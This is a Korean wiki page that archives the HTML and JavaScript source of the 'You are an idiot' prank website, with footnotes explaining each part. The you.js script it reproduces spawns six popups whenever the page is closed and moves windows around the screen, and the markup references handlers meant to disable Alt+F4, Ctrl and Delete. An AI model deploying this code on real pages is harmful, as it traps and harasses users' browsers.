You are an idiot/index.html

최근 수정 시각: (5년 전)
목차
1. 개요2. index.html3. open.html4. you.js

1. 개요 [편집]

You are an idiot 페이지의 소스 일람.

2. index.html [편집]

해당 홈페이지를 열면 나오는 페이지.
때에 따른 코드는 여기를 참고

2004년 9월 24일 기준
<html>
<head>

<title>You are an Idiot! (dot org)</title>
<script language="Javascript" src="http://www.youareanidiot.org/script/you.js"[1]></script>

</head>

<body bgColor=#ffffff onKeyDown="altf4key();ctrlkey();delkey();[2]" onUnLoad="procreate()[3]" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="/web/20040924104957oe_/http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
<param name=movie value="youare.swf"[4]>
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed>
</object>

</body>
</html>

3. open.html [편집]

해당 페이지는 you.js에서 openWindow 함수가 작동했을 때 보여지는 페이지이며, 2016년 4월 19일 기준 페이지 소스이므로 현재 you.js 호출 코드는 없다.
<html>
<head>
<title>You are an idiot!</title>
</head>
<body bgColor=#ffffff leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
<param name=movie value="youare.swf">
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed>
</object>
</body>
</html>

4. you.js [편집]


만악의 근원
한때 창이 6개 띄워지거나 창이 요리조리 움직이거나 키가 안 먹는 원인이었던 자바스크립트 코드로 index.html의 소스에서 호출되어졌던 코드였다. 지금은 index.html에서 script 태그가 없어져서 작동하지 않는다.
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;

function openWindow(url){
aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
}

function procreate(){
openWindow('open.html');[5]
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
}

function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus() [6]}

function newXrt(){
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
}

function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}

function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}

function playBall(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
}

이 코드로 구동되는 웹 사이트에 대한 항목은 You are an idiot 참고
[1] 웹사이트에서 팝업이 돌아다니게 만들어 준 문제의 스크립트이다.[2] 알트+F4, 컨트롤, 딜리트키를 사용하지 못하게 막는다. 하지만 함수 형태로 보이며 you.js에는 없는 듯하다.[3] 팝업을 띄우는 역할을 한다.[4] 이 웹사이트의 플래시를 표시 시킨다.[5] openWindow 함수를 호출하여 작은 창을 띄운다. 6번[6] 현재 윈도우에 포커스를 얻는다. 새 창을 띄우면 그 창에 포커스가 맞춰지는 것과 같은 함수

라이선스를 별도로 명시하지 않은 문서는 CC BY-NC-SA 2.0 KR에 따라 이용할 수 있습니다.
기여하신 문서의 저작권은 각 기여자에게 있으며, 각 기여자는 기여하신 부분의 저작권을 갖습니다.

문서의 기여자는 역사 탭에서 확인할 수 있습니다.
접두어의 N: - 나무위키 사용자, R: - 리그베다 위키의 사용자를 뜻합니다.
자세한 사항은 나무위키에서 동일한 문서의 역사를 참고하시기 바랍니다.